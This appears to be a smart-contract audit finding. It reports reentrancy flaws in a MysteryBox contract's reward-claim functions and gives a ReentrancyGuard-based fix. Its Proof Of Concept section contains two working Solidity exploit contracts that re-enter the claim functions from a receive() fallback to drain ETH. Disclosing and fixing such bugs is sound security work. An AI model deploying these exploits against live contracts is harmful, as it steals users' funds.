Summary
The contract contains reentrancy vulnerabilities in its claimAllRewards and claimSingleReward functions. These vulnerabilities could allow an attacker to drain the contract's funds by repeatedly calling these functions before the contract's state is updated.
Vulnerability Details
Both functions follow a similar pattern where they send ETH to the caller before updating the contract's state. This order of operations violates the "checks-effects-interactions" pattern and opens the door for reentrancy attacks.
In claimAllRewards():
function claimAllRewards() public {
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender];
}
In claimSingleReward():
function claimSingleReward(uint256 _index) public {
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender][_index];
}
Impact
An attacker could exploit this issue to drain the contract's funds. By creating a malicious contract that calls these functions repeatedly within its fallback function, the attacker could claim rewards multiple times before the contract's state is updated as long as the value of rewards is greater than 0, potentially emptying the contract's balance. This vulnerability puts all funds held by the MysteryBox contract at risk, severely compromising its integrity and the trust of its users.
Proof Of Concept
pragma solidity ^0.8.0;
interface IMysteryBox {
function buyBox() external payable;
function openBox() external;
function claimAllRewards() external;
}
contract ExploitContract {
IMysteryBox public mysteryBox;
uint256 public attackCount;
uint256 public initialBalance;
constructor(address _mysteryBoxAddress) {
mysteryBox = IMysteryBox(_mysteryBoxAddress);
}
function attack() external payable {
require(msg.value > 0, "Send some ETH to start the attack");
initialBalance = address(this).balance;
mysteryBox.buyBox{value: msg.value}();
mysteryBox.openBox();
mysteryBox.claimAllRewards();
}
receive() external payable {
attackCount++;
if (address(mysteryBox).balance > 0 && attackCount < 10) {
mysteryBox.claimAllRewards();
}
}
function getAttackProfit() external view returns (uint256) {
return address(this).balance > initialBalance ? address(this).balance - initialBalance : 0;
}
}
Attacker deploys ExploitContract with MysteryBox address.
Calls attack on ExploitContract with enough ETH to buy a box.
Transaction goes through since the funds are sent before updating the state.
This version focuses solely on exploiting the claimAllRewards function. To create a separate exploit for claimSingleReward, you would create a new contract with a similar structure but targeting that specific function:
pragma solidity ^0.8.0;
interface IMysteryBox {
function buyBox() external payable;
function openBox() external;
function claimSingleReward(uint256 _index) external;
}
contract ExploitContractSingleReward {
IMysteryBox public mysteryBox;
uint256 public attackCount;
uint256 public initialBalance;
uint256 public constant ATTACK_INDEX = 0;
constructor(address _mysteryBoxAddress) {
mysteryBox = IMysteryBox(_mysteryBoxAddress);
}
function attack() external payable {
require(msg.value > 0, "Send some ETH to start the attack");
initialBalance = address(this).balance;
mysteryBox.buyBox{value: msg.value}();
mysteryBox.openBox();
mysteryBox.claimSingleReward(ATTACK_INDEX);
}
receive() external payable {
attackCount++;
if (address(mysteryBox).balance > 0 && attackCount < 10) {
mysteryBox.claimSingleReward(ATTACK_INDEX);
}
}
function getAttackProfit() external view returns (uint256) {
return address(this).balance > initialBalance ? address(this).balance - initialBalance : 0;
}
function withdraw() external {
payable(msg.sender).transfer(address(this).balance);
}
}
Tools Used
Recommendations
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract MysteryBox is ReentrancyGuard {
}
function claimAllRewards() public nonReentrant {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
Reward[] memory claimedRewards = rewardsOwned[msg.sender];
delete rewardsOwned[msg.sender];
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
}
function claimSingleReward(uint256 _index) public nonReentrant {
require(_index < rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
Reward memory claimedReward = rewardsOwned[msg.sender][_index];
delete rewardsOwned[msg.sender][_index];
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
emit RewardClaimed(msg.sender, claimedReward.name, claimedReward.value);
}